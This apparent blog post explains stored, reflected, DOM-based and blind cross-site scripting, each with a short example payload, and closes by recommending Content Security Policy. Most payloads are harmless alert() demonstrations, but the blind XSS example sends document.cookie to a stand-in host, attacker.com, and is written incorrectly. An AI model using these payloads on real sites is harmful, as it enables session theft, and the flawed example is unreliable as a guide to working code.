TL;DR: A Quick Overview of XSS Variations
Cross-Site Scripting (XSS) remains a prevalent web security vulnerability, allowing attackers to inject malicious code. Here are the key variations:
- Stored XSS: Malicious code is stored on the server and retrieved by other users, typically in comments or user profiles.
- Reflected XSS: Malicious code appears in URLs or form inputs, returned by the server to other users, e.g., through manipulated links or search queries.
- DOM-based XSS: Malicious code manipulates the Document Object Model (DOM) directly on the client side, interpreted by the browser.
- Blind XSS: Malicious code is successfully injected, but the output is not directly displayed. Results are sent to the attacker, who can extract sensitive information.
Conclusion: A comprehensive understanding of XSS variations is crucial for implementing effective security measures. Web developers should go beyond input validation, incorporating Content Security Policy (CSP) to restrict the execution of malicious code. This knowledge ensures the enhanced security of web applications, safeguarding users against potential threats.
Introduction
Cross-Site Scripting remains one of the most prevalent security vulnerabilities on the web, allowing attackers to inject malicious code into websites. This vulnerability manifests in various forms, each with unique attack vectors and consequences. In this blog post, we will delve into a more detailed examination of the different variations of XSS, illustrating each with concrete examples.
Stored XSS
Stored XSS occurs when malicious code is stored on the server and retrieved by other users, commonly found in comment fields or user profiles. Example:
<script>
// Malicious code
alert('Stored XSS executed');
</script>Reflected XSS
Reflected XSS occurs when malicious code is not permanently stored but appears in a URL or form input. The server then returns the code to other users, often through manipulated links or search queries. Example:
http://www.example.com/search?query=<script>alert('Reflected XSS executed');</script>DOM-based XSS
DOM-based XSS occurs when malicious code directly manipulates the Document Object Model (DOM) of the webpage. The attack takes place on the client side, and the code is interpreted directly by the browser. Example:
// URL: http://www.example.com/index.html#<script>alert('DOM-based XSS executed');</script>
var userInput = window.location.hash.substring(1);
document.write(userInput);Blind XSS
Blind XSS occurs when the malicious code is successfully injected, but the attacker cannot directly see the output. Instead, results are sent to the attacker, who can then extract sensitive information. Example:
<img src="http://attacker.com/collect?cookie="+document.cookie />Conclusion
A comprehensive understanding of the different XSS variations is crucial for implementing effective security measures. Web developers should not solely rely on input validation but also implement Content Security Policy (CSP) to restrict the execution of malicious code. Armed with this knowledge, we can ensure the integrity and security of web applications, protecting users from potential threats.
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